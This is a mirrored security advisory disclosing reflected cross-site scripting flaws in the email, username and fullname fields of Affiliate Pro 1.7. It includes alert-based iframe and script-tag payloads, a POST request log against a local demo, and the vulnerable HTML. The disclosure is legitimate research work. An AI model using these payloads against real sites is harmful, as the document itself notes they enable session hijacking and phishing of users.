Affiliate Pro 1.7 – ‘Multiple’ Cross Site Scripting (XSS)

  • 作者: Vulnerability-Lab
    日期: 2022-01-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50678/
  • # Exploit Title: Affiliate Pro 1.7 - 'Multiple' Cross Site Scripting (XSS)
    # Exploit Author: Vulnerability-Lab
    # Date: 05/01/2022
    
    Document Title:
    ===============
    Affiliate Pro v1.7 - Multiple Cross Site Vulnerabilities
    
    
    References (Source):
    ====================
    https://www.vulnerability-lab.com/get_content.php?id=2281
    
    
    Release Date:
    =============
    2022-01-05
    
    
    Vulnerability Laboratory ID (VL-ID):
    ====================================
    2281
    
    
    Common Vulnerability Scoring System:
    ====================================
    5.1
    
    
    Vulnerability Class:
    ====================
    Cross Site Scripting - Non Persistent
    
    
    Current Estimated Price:
    ========================
    500€ - 1.000€
    
    
    Product & Service Introduction:
    ===============================
    Affiliate Pro is a Powerful and yet simple to use PHP affiliate Management System for your new or existing website. Let affiliates
    sell your products, bring you traffic or even leads and reward them with a commission. More importantly, use Affiliate Pro to track
    it intelligently to keep your affiliates happy and also your bottom line! So how does it work? It is pretty simple, when a user visits
    your website through an affiliate URL the responsible affiliate sending the traffic to you will receive a commission based on your settings.
    
    (Copy of the Homepage:https://jdwebdesigner.com/ &https://codecanyon.net/item/affiliate-pro-affiliate-management-system/12908496 )
    
    
    Abstract Advisory Information:
    ==============================
    The vulnerability laboratory core research team discovered multiple reflected cross site scripting web vulnerabilities in the Affiliate Pro - Affiliate Management System v1.7.
    
    
    Affected Product(s):
    ====================
    jdwebdesigner
    Product: Affiliate Pro v1.7 - Affiliate Management System (PHP) (Web-Application)
    
    
    Vulnerability Disclosure Timeline:
    ==================================
    2021-08-22: Researcher Notification & Coordination (Security Researcher)
    2021-08-23: Vendor Notification (Security Department)
    2021-08-30: Vendor Response/Feedback (Security Department)
    2021-**-**: Vendor Fix/Patch (Service Developer Team)
    2021-**-**: Security Acknowledgements (Security Department)
    2022-01-05: Public Disclosure (Vulnerability Laboratory)
    
    
    Discovery Status:
    =================
    Published
    
    
    Exploitation Technique:
    =======================
    Remote
    
    
    Severity Level:
    ===============
    Medium
    
    
    Authentication Type:
    ====================
    Restricted Authentication (Guest Privileges)
    
    
    User Interaction:
    =================
    Low User Interaction
    
    
    Disclosure Type:
    ================
    Responsible Disclosure
    
    
    Technical Details & Description:
    ================================
    Multiple reflected cross site scripting web vulnerabilities has been discovered in the Affiliate Pro - Affiliate Management System v1.7.
    The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise client-site
    browser to web-application requests.
    
    The non-persistent cross site scripting web vulnerabilities are located in the `email`,`username` and `fullname` parameters of the `index` module.
    Attackers are able to inject own malicious script code to the `Fullname`,`Username` or `Email` input fields to manipulate client-side requests.
    The request method to inject is post and the attack vector is non-persistent (reflected) on client-side. The injection- and execution points are
    located in the index formular for affiliates to enter.
    
    Successful exploitation of the vulnerabilities results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to
    malicious source and non-persistent manipulation of affected application modules.
    
    Request Method(s):
    [+] POST
    
    Vulnerable Module(s):
    [+] index
    
    Vulnerable Input(s):
    [+] Email
    [+] Username
    [+] Fullname
    
    Vulnerable Parameter(s):
    [+] email
    [+] username
    [+] fullname
    
    
    Proof of Concept (PoC):
    =======================
    The client-side cross site scripting web vulnerability can be exploited by remote attackers without account and with low or medium user interaction.
    For security demonstration or to reproduce the cross site scripting web vulnerability follow the provided information and steps below to continue.
    
    
    Exploitation: Payload
    <iframe src="javascript:alert(1337)"></iframe>
    %3cscript%3ealert(1337)%3c%2fscript%3
    
    
    --- PoC Session Logs (POST) ---
    POST /affiliate-pro-demo/index HTTP/1.1
    Host: affiliates-pro.localhost:8000
    Origin:http://affiliates-pro.localhost:8000
    Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24
    Referer:http://affiliates-pro.localhost:8000/affiliate-pro-demo/
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    Accept: */*
    -
    fullname=<iframe src="javascript:alert(1337)"></iframe>
    &username=<iframe src="javascript:alert(1337)"></iframe>@pwnd.coml00fp%22%3e%3cscript%3ealert(1337)%3c%2fscript%3ewkgzv
    &p=test&confirmpwd=j2B%21p5o%21K8
    -
    HTTP/1.1 200 OK
    Server: Apache
    Set-Cookie: session_id=92b8a43b5bdf5d1c54999bfbcf702f24; path=/; HttpOnly
    Connection: Upgrade, close
    Vary: Accept-Encoding
    Content-Length: 6549
    Content-Type: text/html; charset=UTF-8
    
    
    Vulnerable Source: Index
    <div class="control-group">
    <label class="control-label" for="fullname">Full Name</label>
    <div class="controls">
    <input id="textinput" name="fullname" type="text" placeholder="Full Name" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required="required">
    </div>
    </div>
    <div class="control-group">
    <label class="control-label" for="username">Username</label>
    <div class="controls">
    <input id="textinput" name="username" type="text" placeholder="username" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required>
    </div>
    </div>
    <div class="control-group">
    <label class="control-label" for="email">E-Mail Address</label>
    <div class="controls">
    <input id="textinput" name="email" type="email" placeholder="test@provider.com" class="input-xlarge" value="<iframe src="javascript:alert(1337)"></iframe>" required>
    </div>
    
    
    Security Risk:
    ==============
    The security risk of the client-side cross site scripting vulnerabilities in the web-application are estimated as medium.
    
    
    Credits & Authors:
    ==================
    Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
    
    
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    =========================
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